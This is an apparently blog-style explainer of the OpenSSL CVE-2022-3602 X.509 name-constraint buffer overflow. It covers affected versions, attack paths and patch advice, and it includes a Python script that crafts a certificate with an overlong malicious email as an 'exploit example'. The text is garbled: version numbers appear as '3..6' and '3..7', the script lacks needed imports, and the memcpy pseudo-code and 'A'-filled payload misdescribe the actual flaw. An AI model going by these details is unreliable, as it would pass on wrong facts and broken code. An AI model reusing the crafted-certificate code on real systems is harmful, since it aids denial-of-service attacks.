CVE-2022-3602 - Exploiting X.509 Name Constraints Buffer Overflow

In late 2022, the cybersecurity world was abuzz with reports of a new high-profile vulnerability in OpenSSL, tracked as CVE-2022-3602. This bug had early rumors labeling it as “critical,” reminiscent of major bugs like Heartbleed. Later analysis brought it down to a “high” risk—still very serious, but with some real-world mitigating factors.

OpenSSL is a toolkit that implements the SSL and TLS network protocols and is used everywhere—from web servers to Internet of Things devices. Let's break down what happened with CVE-2022-3602, explain the technical details behind this vulnerability, and look at how it can be exploited. All in simple, clear language, so that anyone can understand—even if you’re not a security pro.

What Is CVE-2022-3602?

CVE-2022-3602 is a buffer overrun issue within OpenSSL’s X.509 certificate verification process, specifically in the name constraint checking code. It affects versions:
- 3..

3..6

and is fixed in OpenSSL 3..7.

Here’s what that means, in basic terms

- An attacker can create a specially-crafted X.509 certificate with a malicious email address (in the Subject Alternative Name field).
- If this certificate is processed by OpenSSL during the verification process, four bytes on the stack can be overwritten with attacker-controlled data—a classic stack buffer overflow.

This can lead to a program crash (denial of service) or, in worst-case, remote code execution.

Why would this happen? It’s all about how OpenSSL did boundary checking when handling email addresses as part of name constraint validation, not carefully protecting memory.

Certificate Verification Flow

OpenSSL verifies X.509 certificates by checking their signatures, validity periods, and a set of “name constraints”—rules about what names (like emails or DNS) a certificate can have.

When the Bug Happens

The overflow occurs after signature verification but before full path construction to a trusted Certificate Authority (CA). This means an attacker could, in theory, get a legitimate CA to sign their malicious certificate, or exploit applications that continue processing even if they can't find a trusted CA path.

What’s Overwritten

Only four bytes are overwritten on the stack (not a large area, but enough to corrupt control flow under some circumstances).

Technical Deep-Dive: Look at the Code

You don’t have to dig too deep to see the problematic code. For illustration, here’s a simplified pseudo-code version showing what went wrong:

// Pseudo-code inspired by buggy OpenSSL code
unsigned char buffer[4];    // Only 4 bytes allocated
int len = get_length_from_email_string(email);

// ... no check that len > sizeof(buffer)

memcpy(buffer, email, len); // Writes more data than buffer can hold!

The code took an email address from inside the certificate, calculated its length, but used the length without verifying it would fit inside buffer[4]. That’s a buffer overflow, plain and simple.

TLS Client

Just by connecting to a malicious server, a client could trigger the overflow if the server presents a crafted bad certificate.

TLS Server

If your server is set up to request client certificates, then a client could present a malicious certificate and cause the overflow.

Example Exploit Flow

1. Malicious actor creates an X.509 certificate with a long, malformed email address in the subjectAltName (for example, a long series of "A"s, ending with chosen bytes).
2. This certificate is either signed by a CA, or the application fails to properly verify the CA path and continues processing anyway.

Simple Exploit Example (Not a full PoC for safety)

from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# Generate key
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)

# Build a certificate with a malicious email
malicious_email = 'A' * 100 + '\x41\x42\x43\x44@example.com'

subject = x509.Name([
    x509.NameAttribute(NameOID.COMMON_NAME, u'badcert.example'),
])
cert = x509.CertificateBuilder().subject_name(
    subject
).issuer_name(
    subject  # Self-signed, unless you get a CA to sign it
).public_key(
    key.public_key()
).serial_number(
    x509.random_serial_number()
).not_valid_before(
    datetime.datetime.utcnow()
).not_valid_after(
    datetime.datetime.utcnow() + datetime.timedelta(days=10)
).add_extension(
    x509.SubjectAlternativeName([
        x509.RFC822Name(malicious_email)
    ]),
    critical=False,
).sign(key, hashes.SHA256())

# Save certificate to disk
with open("malicious_cert.pem", "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))

Note: This alone won’t execute code! In practice, further exploitation would depend on many environmental factors.

Stack Protections:

Most modern systems have mitigations like stack canaries, address randomization (ASLR), or non-executable stack pages. These make it harder (not always impossible) for attacks to turn a buffer overflow into code execution.
- Platform/Compiler Differences:
The risk of remote code execution varies based on exactly how memory is laid out by the platform/compiler. In many cases, the overflow just causes a crash, not full code execution.

Update Available:

OpenSSL fixed the flaw in OpenSSL 3..7. If you’re running anything earlier (3.. - 3..6), update immediately.

Impact and Severity

Initial reports called CVE-2022-3602 “CRITICAL.” After OpenSSL and others took a closer look, they downgraded it to “HIGH” because:

It’s hard to turn the overflow into reliable code execution due to protections.

- It still allows easy denial of service (crashing apps/services that use OpenSSL for certificate handling).
- There are significant attack hurdles: either a compromised CA signing attacker certificates, or apps ignoring CA path verification failures.

But do not ignore this bug. The risk is real for denial of service, and remote code execution may still be possible in rare cases, depending on the individual software and deployment environment.

Upgrade Now: If you’re using OpenSSL 3..x, upgrade to 3..7 or later immediately.

- Check Dependencies: Even if you don’t use OpenSSL directly, many tools and libraries (curl, Python, Node.js) might rely on it. Make sure your full software stack is updated.

Conclusion

CVE-2022-3602 highlights how even mature, widely used libraries like OpenSSL can harbor serious vulnerabilities. Buffer overflows—one of the oldest types of bugs—are still dangerous, and it’s essential for everyone to keep dependencies up-to-date and be aware of new advisories.

Don’t wait. Patch your OpenSSL libraries today. If you’re a developer, review how your applications handle certificate chain validation, and avoid loosening validation rules for convenience. Security really is everyone’s responsibility.

Timeline

Published on: 11/01/2022 18:15:00 UTC
Last modified on: 11/04/2022 19:49:00 UTC

CVE-2022-3602 - Exploiting X.509 Name Constraints Buffer Overflow – Everything You Need to Know